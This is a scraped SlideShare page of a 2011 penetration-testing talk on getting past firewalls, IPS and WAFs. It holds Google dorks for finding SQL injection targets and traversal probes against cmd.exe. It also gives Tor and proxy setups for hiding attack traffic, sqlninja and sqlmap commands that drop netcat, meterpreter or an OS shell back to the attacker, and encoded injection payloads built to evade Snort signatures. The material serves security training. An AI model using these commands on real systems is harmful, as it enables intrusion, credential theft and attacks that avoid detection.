Big Bang Theory: The Evolution of Pentesting High Security Environments
Building a low cost hack lab
So you wanna be a pentester - free webinar to show you how
Getting ready for a Capture The Flag Hacking Competition
CMS Hacking Tricks - DerbyCon 4 - 2014
Wi-Fi Hotspot Attacks

What's hot (20)

PDF
Attacking AWS: the full cyber kill chain
PDF
Building & Hacking Modern iOS Apps
PDF
REST API Pentester's perspective
PDF
Building&Hacking modern iOS apps
PDF
Abusing & Securing XPC in macOS apps
PPTX
Owasp web application security trends
PDF
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
PDF
Testing iOS apps without jailbreak in 2018
PDF
Security Theatre (PHP Leuven)
PPTX
Backup-File Artifacts - OWASP Khartoum InfoSec Sessions 2016 - Mazin Ahmed
PDF
20+ Ways to Bypass Your macOS Privacy Mechanisms
PPTX
Bug Bounty #Defconlucknow2016
PPTX
Believe It Or Not SSL Attacks
PDF
Wordpress security best practices - WordCamp Waukesha 2017
PPTX
Warning Ahead: SecurityStorms are Brewing in Your JavaScript
PPTX
[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...
PDF
How to steal and modify data using Business Logic flaws - Insecure Direct Obj...
PPTX
Understanding word press security wwc-4-7-17
PPTX
WordPress Security: Defend yourself against digital invaders
PPTX
Test & Tea : ITSEC testing, manual vs automated
Attacking AWS: the full cyber kill chain
Building & Hacking Modern iOS Apps
REST API Pentester's perspective
Building&Hacking modern iOS apps
Abusing & Securing XPC in macOS apps
Owasp web application security trends
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
Testing iOS apps without jailbreak in 2018
Security Theatre (PHP Leuven)
Backup-File Artifacts - OWASP Khartoum InfoSec Sessions 2016 - Mazin Ahmed
20+ Ways to Bypass Your macOS Privacy Mechanisms
Bug Bounty #Defconlucknow2016
Believe It Or Not SSL Attacks
Wordpress security best practices - WordCamp Waukesha 2017
Warning Ahead: SecurityStorms are Brewing in Your JavaScript
[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...
How to steal and modify data using Business Logic flaws - Insecure Direct Obj...
Understanding word press security wwc-4-7-17
WordPress Security: Defend yourself against digital invaders
Test & Tea : ITSEC testing, manual vs automated
Ad

Viewers also liked (20)

PDF
Preservativi online
PPT
What's Hot in Restaurant Design
PDF
Understanding and selecting_dsp_final
PPT
Location Recce
PPSX
Restaurant services
PPTX
Reastaurent design
PPT
Architectural Design 1 Lectures by Dr. Yasser Mahgoub - Lecture 7 Drawing
PPTX
resturent management
PPT
Interior Design Project (Restaurant)
PPT
WebQuest - Operating Budget
PPTX
TYPES OF CUTLERY USED IN RESTAURENT
PPT
Billing Process
PPTX
Presentation of a Restaurant Project for Coursework
DOCX
FINAL YEAR PROJECT
PPT
Restaurant atomsphere
PPTX
Restaurant Design Presentation
PPT
Designing a commercial kitchen
PDF
Guide to opening a Restaurant or Cafe
PDF
The restaurant from concept to operation 6th - walker
PPTX
Restaurant project
Preservativi online
What's Hot in Restaurant Design
Understanding and selecting_dsp_final
Location Recce
Restaurant services
Reastaurent design
Architectural Design 1 Lectures by Dr. Yasser Mahgoub - Lecture 7 Drawing
resturent management
Interior Design Project (Restaurant)
WebQuest - Operating Budget
TYPES OF CUTLERY USED IN RESTAURENT
Billing Process
Presentation of a Restaurant Project for Coursework
FINAL YEAR PROJECT
Restaurant atomsphere
Restaurant Design Presentation
Designing a commercial kitchen
Guide to opening a Restaurant or Cafe
The restaurant from concept to operation 6th - walker
Restaurant project
Ad

Similar to Layer one 2011-joe-mccray-you-spent-all-that-money-and-still-got-0wned (20)

PDF
Big Bang Theory: The Evolution of Pentesting High Security Environments
PPTX
Advanced SQL Injection
PDF
Owasp top 10 2013
DOCX
FBI & Secret Service- Business Email Compromise Workshop
ODP
NKU Cybersecurity Symposium: Active Defense - Helping threat actors hack them...
PPTX
So You Want a Job in Cybersecurity
PDF
cybersecurity-careers.pdf
PDF
IT Essentials (Version 7.0) - ITE Chapter 13 Exam Answers
PPTX
Flipping the script
PPTX
The Notorious 9: Is Your Data Secure in the Cloud?
PPT
Top 10 Web Security Vulnerabilities (OWASP Top 10)
PPT
Web Application Security - "In theory and practice"
PPT
Defcon9 Presentation2001
PDF
Drupal Camp Bristol 2017 - Website insecurity
PPTX
Cm2 secure code_training_1day_data_protection
PDF
Secure coding presentation Oct 3 2020
PDF
Security Analyst Workshop - 20200212
PDF
Cyber Security Workshop @SPIT- 3rd October 2015
PDF
Internal penetration test_hitchhackers_guide
ODP
BSides Cleveland: Active Defense - Helping threat actors hack themselves!
Big Bang Theory: The Evolution of Pentesting High Security Environments
Advanced SQL Injection
Owasp top 10 2013
FBI & Secret Service- Business Email Compromise Workshop
NKU Cybersecurity Symposium: Active Defense - Helping threat actors hack them...
So You Want a Job in Cybersecurity
cybersecurity-careers.pdf
IT Essentials (Version 7.0) - ITE Chapter 13 Exam Answers
Flipping the script
The Notorious 9: Is Your Data Secure in the Cloud?
Top 10 Web Security Vulnerabilities (OWASP Top 10)
Web Application Security - "In theory and practice"
Defcon9 Presentation2001
Drupal Camp Bristol 2017 - Website insecurity
Cm2 secure code_training_1day_data_protection
Secure coding presentation Oct 3 2020
Security Analyst Workshop - 20200212
Cyber Security Workshop @SPIT- 3rd October 2015
Internal penetration test_hitchhackers_guide
BSides Cleveland: Active Defense - Helping threat actors hack themselves!

More from fangjiafu (20)

PDF
Wce internals rooted_con2011_ampliasecurity
PDF
Oracle forensics 101
PDF
Wce12 uba ampliasecurity_eng
PDF
Ddos analizi
PDF
Bypass dbms assert
PDF
Cursor injection
PDF
Create user to_sysdba
PPT
Presentation nix
PDF
Layer 7 ddos
PDF
Tlsoptimizationprint 120224194603-phpapp02
PDF
Crypto hlug
PDF
PPT
Presentation nix
PDF
Rr 7944
PDF
Proper passwordhashing
PDF
Burp suite injection中的应用by小冰
PDF
Oech03
PDF
2008 07-24 kwpm-threads_and_synchronization
PDF
Unit07
PDF
Unit05
Wce internals rooted_con2011_ampliasecurity
Oracle forensics 101
Wce12 uba ampliasecurity_eng
Ddos analizi
Bypass dbms assert
Cursor injection
Create user to_sysdba
Presentation nix
Layer 7 ddos
Tlsoptimizationprint 120224194603-phpapp02
Crypto hlug
Presentation nix
Rr 7944
Proper passwordhashing
Burp suite injection中的应用by小冰
Oech03
2008 07-24 kwpm-threads_and_synchronization
Unit07
Unit05

Recently uploaded (20)

PDF
Chapter 2 Digital Image Fundamentals.pdf
PDF
CIFDAQ's Market Wrap: Ethereum Leads, Bitcoin Lags, Institutions Shift
PDF
HCSP-Presales-Campus Network Planning and Design V1.0 Training Material-Witho...
PPTX
Understanding_Digital_Forensics_Presentation.pptx
PPTX
Big Data Technologies - Introduction.pptx
PDF
Smarter Business Operations Powered by IoT Remote Monitoring
PDF
Modernizing your data center with Dell and AMD
PDF
Review of recent advances in non-invasive hemoglobin estimation
PDF
Reimagining Insurance: Connected Data for Confident Decisions.pdf
PPTX
MYSQL Presentation for SQL database connectivity
PDF
Newfamily of error-correcting codes based on genetic algorithms
PDF
GamePlan Trading System Review: Professional Trader's Honest Take
PPTX
Detection-First SIEM: Rule Types, Dashboards, and Threat-Informed Strategy
PDF
REPORT: Heating appliances market in Poland 2024
PDF
GDG Cloud Iasi [PUBLIC] Florian Blaga - Unveiling the Evolution of Cybersecur...
PDF
How UI/UX Design Impacts User Retention in Mobile Apps.pdf
PDF
How Onsite IT Support Drives Business Efficiency, Security, and Growth.pdf
PDF
CIFDAQ's Market Insight: SEC Turns Pro Crypto
PDF
[발표본] 너의 과제는 클라우드에 있어_KTDS_김동현_20250524.pdf
PDF
solutions_manual_-_materials___processing_in_manufacturing__demargo_.pdf
Chapter 2 Digital Image Fundamentals.pdf
CIFDAQ's Market Wrap: Ethereum Leads, Bitcoin Lags, Institutions Shift
HCSP-Presales-Campus Network Planning and Design V1.0 Training Material-Witho...
Understanding_Digital_Forensics_Presentation.pptx
Big Data Technologies - Introduction.pptx
Smarter Business Operations Powered by IoT Remote Monitoring
Modernizing your data center with Dell and AMD
Review of recent advances in non-invasive hemoglobin estimation
Reimagining Insurance: Connected Data for Confident Decisions.pdf
MYSQL Presentation for SQL database connectivity
Newfamily of error-correcting codes based on genetic algorithms
GamePlan Trading System Review: Professional Trader's Honest Take
Detection-First SIEM: Rule Types, Dashboards, and Threat-Informed Strategy
REPORT: Heating appliances market in Poland 2024
GDG Cloud Iasi [PUBLIC] Florian Blaga - Unveiling the Evolution of Cybersecur...
How UI/UX Design Impacts User Retention in Mobile Apps.pdf
How Onsite IT Support Drives Business Efficiency, Security, and Growth.pdf
CIFDAQ's Market Insight: SEC Turns Pro Crypto
[발표본] 너의 과제는 클라우드에 있어_KTDS_김동현_20250524.pdf
solutions_manual_-_materials___processing_in_manufacturing__demargo_.pdf

Layer one 2011-joe-mccray-you-spent-all-that-money-and-still-got-0wned

  • 1. You Spent All That Money ...And You Still Got Owned Presented By: Joe McCray [email protected] http://www.linkedin.com/in/joemccray http://twitter.com/j0emccray Strategic Security, Inc. © http://www.strategicsec.com/
  • 2. Joe McCray.... Who the heck are you? A Network/Web Application Penetration Tester & Trainer A.K.A: The black guy at security conferences Strategic Security, Inc. © http://www.strategicsec.com/
  • 3. How I Throw Down... • I HACK • I CURSE • I DRINK (Rum & Coke) Strategic Security, Inc. © http://www.strategicsec.com/
  • 4. Let me take you back.... Strategic Security, Inc. © http://www.strategicsec.com/
  • 5. Penetration Testing Was Easy.... Step 1: Tell customer you are 31337 security professional Customers only applied patches if it fixed something on the system It was common practice NOT to apply system updates that didn't fix a problem you were experiencing on a system (WTF ARE YOU DOING - YOU MIGHT BREAK SOMETHING!!!!!) Step 2: Scan customer network with ISS or Nessus if you were a renegade Customers didn't apply patches, and rarely even had firewalls and IDSs back then You know you only ran ISS because it had nice reports... Step 3: Break out your uber 31337 warez and 0wn it all!!!!! You only kept an exploit archive to save time (Hack.co.za was all you needed back then) If you could read the screen you could 0wn the network!!!!!!! Strategic Security, Inc. © http://www.strategicsec.com/
  • 6. If you were Ub3r 31337 you did it like this.... Strategic Security, Inc. © http://www.strategicsec.com/
  • 7. Port Scan & Banner Grab The Target Strategic Security, Inc. © http://www.strategicsec.com/
  • 8. Get your exploit code... Strategic Security, Inc. © http://www.strategicsec.com/
  • 9. Own the boxes and take screen-shots Strategic Security, Inc. © http://www.strategicsec.com/
  • 10. Write The Report... Strategic Security, Inc. © http://www.strategicsec.com/
  • 11. Get Paid.... Strategic Security, Inc. © http://www.strategicsec.com/
  • 12. Geez...That's A Lot To Bypass More Security Measures are being implemented on company networks today Firewalls are common place (perimeter and host-based) Anti-Virus is smarter (removes popular hacker tools, and in some cases stops buffer overflows Intrusion Detection/Prevention Systems are hard to detect let alone bypass NAC Solutions are making their way into networks Network/System Administrators are much more security conscious IT Hardware/Software vendors are integrating security into their SDLC . Strategic Security, Inc. © http://www.strategicsec.com/
  • 13. It’s harder now....so what do I do today? Strategic Security, Inc. © http://www.strategicsec.com/
  • 14. Project Scope • Project Scope – Internal BlackBox (Limited Knowledge) Penetration Test – External BlackBox (Limited Knowledge) Penetration Test – Web Application Security Assessment – Wireless Security Assessment – Physical Security Assessment • Project Limitations – Project was considered blackbox until Sampleblank consultants were detected by network team. – No social engineering or user interaction attacks were authorized Strategic Security, Inc. © http://www.strategicsec.com/
  • 15. Attacking sampleblank: The Play-By-Play • Hmmm…what do we have here???? – The following security/monitoring applications were discovered • McAfee Virus Shield • McAfee HIPS • Altiris • Big Brother • Attack Steps: – Enumerate Network without scanning – Obtain valid privileged credentials Strategic Security, Inc. © http://www.strategicsec.com/
  • 16. Attacking sampleblank: Domain Admin Strategic Security, Inc. © http://www.strategicsec.com/
  • 17. I’m SWIFT BABY!!!!! Strategic Security, Inc. © http://www.strategicsec.com/
  • 18. Attacking sampleblank: The Play-By-Play Strategic Security, Inc. © http://www.strategicsec.com/
  • 19. Attacking sampleblank: The Play-By-Play Strategic Security, Inc. © http://www.strategicsec.com/
  • 20. Ask Google To Help Google loves SQL Injection * site:targetcompany.com "Microsoft OLE DB Provider for SQL Server" * site:targetcompany.com "Microsoft JET Database Engine" * site:targetcompany.com "Type mismatch" * site:targetcompany.com "You have an error in your SQL syntax" * site:targetcompany.com "Invalid SQL statement or JDBC" * site:targetcompany.com "DorisDuke error" * site:targetcompany.com "OleDbException" * site:targetcompany.com "JasperException" * site:targetcompany.com "Fatal Error" * site:targetcompany.com "supplied argument is not a valid MySQL" * site:targetcompany.com "mysql_" * site:targetcompany.com ODBC * site:targetcompany.com JDBC * site:targetcompany.com ORA-00921 * site:targetcompany.com ADODB Strategic Security, Inc. © http://www.strategicsec.com/
  • 21. Ask Google To Help Google loves RFIs * site:targetcompany.com ".php" "file=" * site:targetcompany.com ".php" "folder=" * site:targetcompany.com ".php" "path=" * site:targetcompany.com ".php" "style=" * site:targetcompany.com ".php" "template=" * site:targetcompany.com ".php" "PHP_PATH=" * site:targetcompany.com ".php" "doc=" * site:targetcompany.com ".php" "document=" * site:targetcompany.com ".php" "document_root=" * site:targetcompany.com ".php" "pg=" * site:targetcompany.com ".php" "pdf=" . Strategic Security, Inc. © http://www.strategicsec.com/
  • 22. Do Passive Recon/OSINT Act like a woman trying to catch her man cheating – look through EVEYTHING! Firefox Passive Recon - https://addons.mozilla.org/en-US/firefox/addon/6196 1. DNS – AS – Server Version Info 2. Email addresses 3. Files (Doc,PDF, etc) Maltego (Data Relationship Identification) - http://www.paterva.com/web5/client/overview.php 1. DNS – AS – Server Version Info 2. Email addresses 3. Files (Doc,PDF, etc) 4. Social Media 5. Too much to list here Strategic Security, Inc. © http://www.strategicsec.com/
  • 23. OSINT Report What’s in the report * Company’s geographic location info * IP ranges owned by the company * IT Resources owned by the company * Email Addresses of people in the company * Important company files * Personal info about employees Ask me offline and I can show you a report . Strategic Security, Inc. © http://www.strategicsec.com/
  • 24. Identifying Load Balancers Most load-balancers are deployed for redundancy and performance improvement As an attacker – load balancers are a headache. You have no idea where you packets are going.... There is absolutely no point in running tools against a host without knowing if a load balancer has been deployed. So – Step 1 Determine if the host is load balanced.... Step 2 Determine what type of load balancing is in place (HTTP or DNS) Strategic Security, Inc. © http://www.strategicsec.com/
  • 25. Identifying Load Balancers How can you tell if the target host is behind a load balancer? Firefox LiveHTTP Headers - https://addons.mozilla.org/en-US/firefox/addon/3829 - Look in HTTP header for modifications such as: 1. BIGipServerOS in cookie 2. nnCoection: close 3. Cneonction: close dig * Look for multiple addresses resolving to one domain name * dig google.com Strategic Security, Inc. © http://www.strategicsec.com/
  • 26. Identifying Load Balancers How can you tell if the target host is behind a load balancer? Netcraft.com * Look for things like "F5 BigIP" lbd.sh * http://ge.mine.nu/lbd.html * sh lbd-0.1.sh targetcompany.com halberd * http://halberd.superadditive.com/ * halberd -v targetcompany.com Strategic Security, Inc. © http://www.strategicsec.com/
  • 27. Identifying Intrusion Prevention Systems Ok – so now you've figured out if you are up against a load balancer. You've figured out if it's HTTP or DNS based load balancing and what the real IP is. Just like there's no point in running tools against a load balanced host there is no point in running tools against a host that is protected by an IPS. Sooooo...how can you tell if the target host protected an Intrusion Prevention System? Strategic Security, Inc. © http://www.strategicsec.com/
  • 28. Identifying Intrusion Prevention Systems How can you tell if the target host protected an Intrusion Prevention System? Curl: The netcat of the web app world http://curl.haxx.se/ curl -i http://www.targetcompany.com/../../WINNT/system32/cmd.exe?d curl -i http://www.targetcompany.com/type+c:winntrepairsam._ Look for RSTs and no response....tcpdump/wireshark is your friend ;-) Active Filter Detection - http://www.purehacking.com/afd/downloads.php - osstmm-afd -P HTTP -t targetcompany.com -v Strategic Security, Inc. © http://www.strategicsec.com/
  • 29. Identifying Intrusion Prevention Systems Ok, so you're up against an IPS – relax...there are a few other things to consider. HINT: Most IDS/IPS solutions don't monitor SSL encrypted (actually any encrypted) traffic. SSL Accelerators are expensive so not everyone has one. Strategic Security, Inc. © http://www.strategicsec.com/
  • 30. Identifying Intrusion Prevention Systems Most of the time you can get around an IPS by just using encryption. The other thing to consider is whether the IPS is in-line or out of band. Strategic Security, Inc. © http://www.strategicsec.com/
  • 31. Identifying Intrusion Prevention Systems Does the IPS monitor SSL encrypted traffic? vi /etc/xinetd.d/ssltest #default: off #description: OpenSSL s_client proxy (just change the target url) service ssltest { disable = no socket_type = stream port = 8888 wait = no protocol = tcp user = root server = /home/j0e/security/toolz/ssl_proxy.sh only_from = 127.0.0.1 bind = 127.0.0.1 } Strategic Security, Inc. © http://www.strategicsec.com/
  • 32. Identifying Intrusion Prevention Systems Does the IPS monitor SSL encrypted traffic? (Cont.) vi /home/j0e/security/toolz/ssl_proxy.sh #!/bin/bash openssl s_client -quiet -connect www.targetcompany.com:443 2>/dev/null Start the service /usr/sbin/xinetd -d -f /etc/xinetd.d/ssltest & Run AFD against localhost osstmm-afd -v -P HTTP -t localhost -p 8888 -v Strategic Security, Inc. © http://www.strategicsec.com/
  • 33. Attacking Through Tor To run scanning tools through Tor alias hide='su -c "/home/j0e/dumbscripts/hide.sh"' $ cat /home/j0e/dumbscripts/hide.sh #!/bin/bash # Startup privoxy /usr/sbin/privoxy /etc/privoxy/config # Start Tor /usr/bin/tor $ hide # socat TCP4-LISTEN:8080,fork SOCKS4:127.0.0.1:targetcompany.com80,socksport=9050 Now all attacks can be launched against 127.0.0.1:8080 with Nessus or similar tool. Strategic Security, Inc. © http://www.strategicsec.com/
  • 34. Attacking Through Proxies To port scan through a series of proxies # vi /etc/proxychains.conf # tor & # proxychains nmap -sT -p80 204.244.125.9 To port scan through Glype Proxies $ cd /home/j0e/toolz/glypeahead-1.1 $ vi config.php $ php glypeahead config.php Strategic Security, Inc. © http://www.strategicsec.com/
  • 35. Attacking Through Globally Distributed VPNs Hundreds of companies offer VPN access all over the world - snail mail money order for payment ;)  VyperVPN  Kyptotel  MadVPN  VPNGate  DenVPN  ACEVPN  ....too many to list Strategic Security, Inc. © http://www.strategicsec.com/
  • 36. Are We Forgetting Something???? What if you don't detect any active filtering solution in place? Can you still be missing something that messing with your traffic? What about a WAF? Most hosts running a WAF will show as not have an Active Filtering Solution in place by tools like AFD Strategic Security, Inc. © http://www.strategicsec.com/
  • 37. Identifying Web Application Firewalls How can you determine if the target host has deployed a WAF? * https://addons.mozilla.org/en-US/firefox/addon/3829 * Look in HTTP header for modifications such as: 1. Cookie Value has WAF info in it - BIGipServerwww.google.com_pool_http - barra_counter_session - WODSESSION 2. Different server response code for hostile request - 501 Method Not Implemented 3. Different "Server" response when hostile packet is sent Strategic Security, Inc. © http://www.strategicsec.com/
  • 38. Identifying Web Application Firewalls WAFs are surprisingly easy to detect? Generally you just have to send 1 valid request, and one malicious request and diff the response. Malicious tends to be any HTTP request that has a payload that contains things like: ' “< ? # - | ^* Strategic Security, Inc. © http://www.strategicsec.com/
  • 39. Identifying Web Application Firewalls How can you determine if the target host has deployed a WAF? Curl curl -i http://targetcompany.com/cmd.exe | grep "501 Method" Netcat $ (echo "GET /cmd.exe HTTP/1.1"; echo "Host: targetcompany.com"; echo) | nc targetcompany.com | grep "501 Method Not Implemented" If the server responds with error code “501 Method Not Implemented” then it is running mod_security. Curl curl -i http://www.targetcompany.com/%27 HTTP/1.1 999 No Hacking Server: WWW Server/1.1 Strategic Security, Inc. © http://www.strategicsec.com/
  • 40. Identifying Web Application Firewalls How can you determine if the target host has deployed a WAF? Curl curl -i http://www.targetcompany.com/3c%73%63%72%69%70%74%3e%61%6c %65%72%74%28%27%58%53%53%27%29%3c%2f%73%63%72%69%70%74%3e HTTP/1.1 200 Condition Intercepted Date: Sun, 15 Mar 2009 01:42:01 GMT Server: Apache Strategic Security, Inc. © http://www.strategicsec.com/
  • 41. Identifying Web Application Firewalls How can you determine if the target host has deployed a WAF? Waffit (WAFWOOF) Strategic Security, Inc. © http://www.strategicsec.com/
  • 42. Bypassing Web Application Firewalls How can you determine if the target host has deployed a WAF? Gary O'Leary-Steele http://packetstormsecurity.org/web/unicode-fun.txt [j0e@LinuxLaptop toolz]$ ruby unicode-fun.rb Enter string to URL Unicode:<script>alert('XSS')</script> %u003c%uff53%uff43%uff52%uff49%uff50%uff54%u003e%uff41%uff4c%uff45%uff52%uff 54%uff08%u02b9%uff38%uff33%uff33%u02b9%uff09%u003c%u2215%uff53%uff43%uff52 %uff49%uff50%uff54%u003e Curl curl -i http://www.targetcompany.com/3c%73%63%72%69%70%74%3e%61%6c %65%72%74%28%27%58%53%53%27%29%3c%2f%73%63%72%69%70%74%3e HTTP/1.1 404 Not Found Date: Sat, 14 Mar 2009 19:13:10 GMT Server: Apache Strategic Security, Inc. © http://www.strategicsec.com/
  • 43. Attacking Websites Through Tor alias hide='su -c "/home/j0e/dumbscripts/hide.sh"' $ cat /home/j0e/dumbscripts/hide.sh #!/bin/bash # Startup privoxy /usr/sbin/privoxy /etc/privoxy/config # Start Tor /usr/bin/tor $ hide Firefox Tor Button * https://addons.mozilla.org/en-US/firefox/addon/2275 Click on Firefox TOR button and have fun hacking Strategic Security, Inc. © http://www.strategicsec.com/
  • 44. DotNet Defender WAF Strategic Security, Inc. © http://www.strategicsec.com/
  • 45. Bypassing DotNet Defender Strategic Security, Inc. © http://www.strategicsec.com/
  • 46. Bypassing DotNet Defender Strategic Security, Inc. © http://www.strategicsec.com/
  • 47. Dumping Admin PW – sorry DotNet Defender Strategic Security, Inc. © http://www.strategicsec.com/
  • 48. Getting Into The LAN from the web.... Strategic Security, Inc. © http://www.strategicsec.com/
  • 49. SQL Injection to Metasploit (SQLNinja) cd /home/beatdown/toolz/sqlninja-0.2.3/ vi sqlninja.beatdown.conf host = [target ip] page = /vuln/vulnpage.asp stringstart = VulnID=10; lhost = [your ip] device = eth0 msfpath = /home/beatdown/toolz/metasploit resolvedip = [your ip] ./sqlninja -m t -f sqlninja.beatdown.conf (test for injection) ./sqlninja -m f -f sqlninja.beatdown.conf (fingerprint the backend db) ./sqlninja -m u -f sqlninja.beatdown.conf (upload dnstun, netcat, or meterpreter) ./sqlninja -m s -f sqlninja.beatdown.conf (drop a shell) Strategic Security, Inc. © http://www.strategicsec.com/
  • 50. SQL Injection to Metasploit (SQLMAP) cd /home/beatdown/toolz/sqlmap-dev python sqlmap.py -u "http://www.about2bowned.com/vuln/vulnpage.aspx?VulnID=10" --os-shell -v 1 os-shell> python sqlmap.py -u "http://www.about2bowned.com/vuln/vulnpage.aspx?VulnID=10" --os-pwn --msf-path /home/beatdown/toolz/metasploit --priv-esc -v 10 meterpreter> Strategic Security, Inc. © http://www.strategicsec.com/
  • 51. Not Getting Caught Strategic Security, Inc. © http://www.strategicsec.com/
  • 52. Filter Evasion I know that people often think this stuff is very black and white, cut and dry - but the simple truth with sql injection is sometimes you just have a gut feeling that you are looking at a vulnerable page. You've tried a bunch of things but for some reason nothing seems to be working. You may be facing some sort of filtering. Maybe the developer has attempted to stop sql injection by only allowing alphanumeric characters as input. Strategic Security, Inc. © http://www.strategicsec.com/
  • 53. Client-Side Filtering The first thing that we want to do is determine if the filtering is client-side (ex: being done with javascript). View source code and look for any parameters being passed to the website that may be filtered with javascript/vbscript and remove them - Save the page locally and remove offending javascript/vbscript or - Use a local proxy (ex: Paros, Webscarab, Burp Suite) Strategic Security, Inc. © http://www.strategicsec.com/
  • 54. Restrictive Blacklist Server-side Alphanumeric Filter http://[site]/page.asp?id=2 or 1 like 1 Here we are doing an “or true,” although this time we are using the “like” comparison instead of the “=” sign. We can use this same technique for the other variants such as “and 1 like 1” or “and 1 like 2” http://[site]/page.asp?id=2 and 1 like 1 http://[site]/page.asp?id=2 and 1 like 2 Strategic Security, Inc. © http://www.strategicsec.com/
  • 55. Signature Based IDS The key to IDS/IPS evasion is knowing that there is one in place. With an IPS you can use something like Active Filter Detection or you can try something REALLY noisy from another IP address to see if your IP gets blocked. Depending of the scope of your engagement you may or may not really be able to identify when an IDS is in use because it's passive in nature. I've honestly found this side of the house to be more proof-of-concept, and just having fun as opposed to something I've actually needed on assessments. Strategic Security, Inc. © http://www.strategicsec.com/
  • 56. Strategic Security, Inc. © http://www.strategicsec.com/
  • 57. Signature Based IDS (1) Signature 1 alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection attempt”; flow: to_server, established; content: “' or 1=1 --”; nocase; sid: 1; rev:1;) Bypass Techniques: http://[site]/page.asp?id=2 or 2=2-- http://[site]/page.asp?id=2 or 1<2-- http://[site]/page.asp?id=2 or 1 like 1-- http://[site]/page.asp?id=2 /**/or /**/2/**/=/**/2-- ....c'mon everyone name some more Signature Negatives - Having the ' in the signature will cause you to miss attacks that don't utilize the ' - 1=1 is not the only way to create a query that returns "true" (ex: 2=2, 1<2, etc) If this signature is so easily bypassed, what is it actually good for? Answer: It's great for automated tools and kiddies Strategic Security, Inc. © http://www.strategicsec.com/
  • 58. Signature Based IDS (My Opinion) Strategic Security, Inc. © http://www.strategicsec.com/
  • 59. Signature Based IDS (2) Signature 2 alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection attempt”; flow: to_server, established; pcre: “/(and|or) 1=1 (--|/*|#)/i”; sid: 1; rev:2;) Bypass Techniques: http://[site]/page.asp?id=2 or 2=2%2D%2D http://[site]/page.asp?id=2 or 1<2%2D%2D http://[site]/page.asp?id=2 or 1 like 1%2D%2D http://[site]/page.asp?id=2 /**/or /**/2/**/=/**/2%2D%2D ....c'mon everyone name some more Signature Negatives - 1=1 is not the only way to create a query that returns "true" (ex: 2=2, 1<2, etc) - Comments like pretty much anything else can be represented in other encoding type (ex: (%2D%2D = --) - It is possible to attack an sql injection vulnerability without using comments If this signature is so easily bypassed, what is it actually good for? Answer: Again, it's great for automated tools and kiddies Strategic Security, Inc. © http://www.strategicsec.com/
  • 60. Signature Based IDS (3 – 5) Signature 3-5 alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection SELECT statement”; flow: to_server, established; pcre:”/select.*from.*(--|/*|#)/i”; sid: 2; rev: 1;) alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection UNION statement”; flow: to_server, established; pcre:”/union.*(--|/*|#)/i”; sid: 3; rev: 1;) Bypass Techniques: http://[site]/page.asp?id=2 or 2 in (%73%65%6C%65%63%74%20%75%73%65%72)%2D%2D http://[site]/page.asp?id=2 or 2 in (select user)-- http://[site]/page.asp?id=-2 %55%4E%49%4F%4E%20%41%4C%4C%20%73%65%6C%65%63%74%201,2,3,(%73%65%6C %65%63%74%20%75%73%65%72),5,6,7%2D%2D http://[site]/page.asp?id=-2 UNION ALL select 1,2,3,(select user),5,6,7-- ....c'mon everyone name some more Signature Negatives - Although sigs 3-5 are much better, they don't consider the attacker may use different encoding types such as hex Strategic Security, Inc. © http://www.strategicsec.com/
